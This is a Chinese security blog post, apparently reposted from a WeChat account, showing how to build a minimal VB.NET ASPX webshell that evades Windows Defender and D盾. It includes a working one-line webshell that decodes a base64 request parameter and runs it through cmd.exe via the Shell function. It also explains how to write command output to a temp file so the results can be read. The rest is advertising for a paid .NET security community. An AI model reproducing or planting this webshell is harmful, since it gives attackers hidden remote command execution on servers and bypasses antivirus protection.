利用VB.NET Shell方法绕过防护执行命令

admin 2022年10月10日14:01:06评论90 views字数 2044阅读6分48秒阅读模式

0x01 背景

.NET安全矩阵群有位师傅私聊问有没有能过windows  defender的webshell,之前星球和群里也分享了不少的免杀webshell,但还有师傅反馈D盾把分享过的webshell杀的很厉害,所以有必要再看一看新的免杀技巧。这位师傅需要短小精悍的一句话,在VB.NET领域研究了一下,于是乎有了这篇文章

利用VB.NET Shell方法绕过防护执行命令

0x02 Shell函数

为什么要研究VB.NET呢,因为在默认没有指定@Page语言种类时.NET FrameWork框架层面使用vbc.exe处理ASPX扩展名文件,所以VB的优先级高于C#,解析器会按VB的语法运行代码,如下demo

<%System.Diagnostics.Process.Start("cmd.exe", "/c calc")%>

这段代码已经是.NET下很简短的一句话,如果在特殊场景下还需要缩短的话,可以使用接下来的主角函数Shell

2.1 Shell介绍

在VB时代很多场景下需要在应用程序中直接打开电脑中的某个文件,如excel、word、ppt、图片、视频等文件。那么这时候就需要使用到Shell函数

[SecuritySafeCritical][SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]public static int Shell(string PathName, AppWinStyle Style = AppWinStyle.MinimizedFocus, bool Wait = falseint Timeout = -1)

返回一个 Int类型,如果成功的话,代表这个程序的进程ID,若不成功,则会返回 0。PathName:用来指定要执行的程序名,AppWinStyle:可选参数。表示程序运行时的窗口样式,默认以焦点最小化窗口执行。在VB.NET里使用SecurityPermissiont特性里的属性SecurityPermissionFlag.UnmanagedCode来提供调用非托管代码的能力,再通过NativeMethods.CreateProcess创建新的 进程,如下图

利用VB.NET Shell方法绕过防护执行命令

好了,有上面的基础知识做铺垫,我们也了解它的内部实现原理,提供一个最短小的demo,即可弹出计算器

<%Shell("cmd.exe /c calc")%>

利用VB.NET Shell方法绕过防护执行命令

2.2 实现WebShell

<%If (Request("content") <> "") Then Shell("cmd.exe /c " & System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request("content"))))%>

需要注意的是shell函数返回的值为int类型,所以拿不到ipconfig、tasklist命令执行后的结果,所以需要曲线救国,通过写文件的方式把结果写入到文本里,当然需要提前知道站点路径了例如:tasklist>c:\windows\temp\2.txt,这里为了减少编码对预期结果的影响,使用base64编码传递,如下图成功写入

利用VB.NET Shell方法绕过防护执行命令

0x03 星球优惠活动

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展星球提供50元代金卷,先到先得哦!如果感兴趣的话欢迎师傅们扫描下方二维码加入我们。我们的运营团队将一如既往地继续为大家做好服务!

利用VB.NET Shell方法绕过防护执行命令

dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

利用VB.NET Shell方法绕过防护执行命令

利用VB.NET Shell方法绕过防护执行命令

利用VB.NET Shell方法绕过防护执行命令

利用VB.NET Shell方法绕过防护执行命令

利用VB.NET Shell方法绕过防护执行命令

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.

原文始发于微信公众号(dotNet安全矩阵):利用VB.NET Shell方法绕过防护执行命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月10日14:01:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用VB.NET Shell方法绕过防护执行命令http://cn-sec.com/archives/1341243.html

发表评论

匿名网友 填写信息